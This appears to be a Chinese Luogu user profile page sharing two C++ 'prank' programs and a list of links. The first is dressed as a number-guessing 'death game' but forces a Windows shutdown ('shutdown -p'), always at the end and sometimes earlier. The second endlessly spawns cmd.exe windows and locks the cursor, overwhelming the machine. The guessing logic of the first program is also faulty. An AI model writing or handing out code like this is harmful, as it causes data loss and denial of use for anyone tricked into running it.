跳到正文

Jiangjinggao

846912

在洛谷打开
资料、奖项与版本

资料

编号
846912
抓取

一个新手 大佬多多关注 敢玩吗??

C++
#include<bits/stdc++.h>
using namespace std;
int n[15],a[50];
int main(){
	for(int i=1;i<=50;i++){
		srand(time(0));
		a[i]=rand()%100+1;
	}
	cout<<"欢迎来到死亡游戏。"<<endl;
	for(int i=1;i<=15;i++){
		cout<<"请输入一个数:";
		cin>>n[i];
		cout<<endl;
		cout<<endl;
		for(int j=1;j<=50;j++){
			if(n[i]==a[j]){
				cout<<"哈哈哈,去死吧!"<<endl;
				system("shutdown -p"); 
			}	else{
				cout<<"你活了一命。"<<endl;
				break;
			}
		}
	}cout<<"我是老六,去死吧!"<<endl;
	system("shutdown -p"); 
	return 0;
}
C++
#include<iostream>
#include<windows.h>

using namespace std;

int main(){
while(1){
system("start cmd.exe");
SetCursorPos(40,40);
cout<<"nb"<<endl;
}
return 0;
}

https://bbs.vipqbc.com/cp/cpd/175 1231002442142592205122850106486646648664635590101001732023 https://www.luogu.com.cn/blog/CFLConyn/zi-ji-bian-di-you-hu-xian-zai-shi-ce-shi-ban-ben-ji-ben-shi-me-gong-post
https://www.luogu.com.cn/paste/2bel3l4t

https://www.luogu.com.cn/paste/9t826dh8

https://www.luogu.com.cn/paste/vw8ju96q

https://www.luogu.com.cn/paste/vmaczj78

还没有收录这位用户的文章。